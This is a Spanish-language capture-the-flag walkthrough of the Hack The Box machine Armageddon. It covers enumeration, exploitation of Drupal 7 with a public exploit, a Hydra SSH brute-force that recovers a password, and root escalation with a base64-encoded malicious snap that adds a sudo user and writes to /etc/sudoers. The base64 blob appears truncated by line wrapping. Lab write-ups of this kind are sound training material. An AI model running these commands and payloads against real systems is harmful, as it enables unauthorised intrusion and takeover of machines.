Está en la página 1de 5

Por B17BY73

IP 10.10.10.233

1. FASE DE ENUMERACION
Se realiza una búsqueda de puertos abiertos que contenga esta máquina con NMAP:

nmap -sC -sV 10.10.10.233

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon

Si se tiene instalado en el navegador Firefox el plugin WAPALIZER nos podemos dar cuenta que esta
máquina utiliza como CMS a DRUPAL en su versión 7, lo mismo puede ser identificado con la
herramienta WHATWEB:

whatweb 10.10.10.233

1/5
Para poder extraer información sensible o de interés del CMS DRUPAL, y para continuar con la
penetración a esta máquina, se puede hacer uso de la herramienta DROOPESCAN, ejecutando el
siguiente comando:

droopescan scan drupal -u 10.10.10.233

[+] Themes found:


seven http://10.10.10.233/themes/seven/ garland
http://10.10.10.233/themes/garland/

[+] Possible interesting urls found:


Default changelog file - http://10.10.10.233/CHANGELOG.txt

[+] Possible version(s):


7.56

[+] Plugins found:


profile http://10.10.10.233/modules/profile/ php
http://10.10.10.233/modules/php/ image
http://10.10.10.233/modules/image/

El archivo CHANGELOG.txt nos da información de la versión de Drupal que está instalada, en este caso:
Drupal 7.56, 2017-06-21

2. BUSQUEDA DE UN EXPLOIT

Hacer la búsqueda con searchsploit: searchsploit drupal 7

Se utilizará el exploit identificado como 44449.rb para obtener una shell, el cual copiamos a nuestro
directorio con el comando: searchsploit -m 44449

Como se puede observar, el archivo tiene la extensión “.rb” el cual nos indica que fue creado en lenguaje
RUBY, por lo tanto, se ejecuta de la siguiente manera y agregando el enlace (IP) que corresponde a la
máquina que se desea vulnerar (Armageddon).

ruby 44449.rb http://10.10.10.233

Al ejecutar el exploit anterior, se crea una shell con la que podemos interactuar para revisar el listado de
usuarios del sistema ejecutando el comando:

cat /etc/passwd

2/5
Observamos la existencia de un usuario que puede ejecutar una shell; pero, se necesita encontrar su
password, se intentó acceder al directorio donde se encuentran los hashes correspondientes a los
passwords, pero, no se cuenta con los privilegios necesarios para hacerlo, de tal manera que se utilizará la
herramienta HYDRA para realizar un ataque de fuerza bruta a través del servicio SSH que sabemos está
habilitado según el resultado del escaneo realizado con NMAP.

hydra -l brucetherealadmin -P /usr/share/wordlists/rockyou.txt 10.10.10.233 -V -t 20 ssh

[22][ssh] host: 10.10.10.233 login: brucetherealadmin password: booboo


1 of 1 target successfully completed, 1 valid password found

Con las credenciales obtenidas se accede al servicio SSH:

ssh brucetherealadmin@10.10.10.233

3. ESCALACION DE PRIVILEGIOS (ROOT)


Inicialmente se nos presenta una shell donde se puede observar que hemos iniciado una sesión con el
usuario “brucetherealadmin”, entonces lo que vamos a realizar primero es la captura de la primera Flag, lo
cual hacemos ejecutando el comando LS para listar los archivos que se encuentran en el directorio actual,
y después ejecutamos el comando CAT para visualizar su contenido.

NOTA: Debido a que la máquina ARMAGEDDON esta aun activa en la plataforma HACK THE BOX,
solo se mostraran los primeros caracteres que contiene la Flag de usuario, lo mismo se aplicara
después cuando se realice la captura de la Flag de Root:

[brucetherealadmin@armageddon ~]$ ls user.txt


[brucetherealadmin@armageddon ~]$ cat user.txt
0d0...4f93a140237ce7777e9b3a5dee023

3/5
Luego se verifica que comandos puede ejecutar el usuario “brucetherealadmin” con el que accedimos a
esta máquina:

Como se puede observar, el usuario tiene acceso a la aplicación snap.

Realizando una búsqueda con Google podemos ver que se puede realizar una escalación de privilegios a
través de SNAP, para lo cual se nos presenta como resultado la existencia de un script en python en cuyo
contenido existe un exploit codificado en base64 que es el que nos dará acceso como usuario con
máximos privilegios (root), el script se encuentra en el siguiente enlace:
https://github.com/initstring/dirty_sock/blob/ master/dirty_sockv2.py

python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////


xICAAAAAAAAsAIAAAAAAAA
+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlF
GMnpGU2Z5R3
+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb
2l0CmRlc2Nya
e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/
VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/
Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtky
jZecTuAfMJX8
+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgM
AAAAAAAAEgAAAA
+ "A" * 4256 + "=="' | base64 -d > root.snap

Ejecutamos el comando CAT para visualizar lo que contiene el archivo creado (root.snap)

[brucetherealadmin@armageddon ~]$ cat root.snap

hsqs!V\�������������>x#!/bin/bash

useradd dirty_sock -m -p
'$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.f
g19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock
echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: 'See https://github.com/initstring/dirty_sock
'
architectures:
→ amd64
confinement: devmode
grade: devel
4/5
Podemos observar que lo que hará el archivo creado al momento de ser ejecutado es crear el usuario
“dirty-sock”, el cual tendrá todos los privilegios (ALL):

[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --devmode root.snap


dirty-sock 0.1 installed

Ejecutamos SUDO -S

[dirty_sock@armageddon brucetherealadmin]$ sudo -s

We trust you have received the usual lecture from the local System Administrator. It usually boils
down to these three things:

#1) Respect the privacy of others.


#2) Think before you type.
#3) With great power comes great responsibility.

y obtenemos acceso como super usuario (root)

[sudo] password for dirty_sock: [root@armageddon brucetherealadmin]#

Luego nos dirigimos al directorio /root para obtener la flag:


[root@armageddon dirty_sock]# cd /root
[root@armageddon ~]# ls
anaconda-ks.cfg cleanup.sh passwd reset.sh root.txt snap

[root@armageddon ~]# cat root.txt


1b7...a0bba8c284e47fa62d4acfebdaedc

TRY HARDER!!!

5/5

También podría gustarte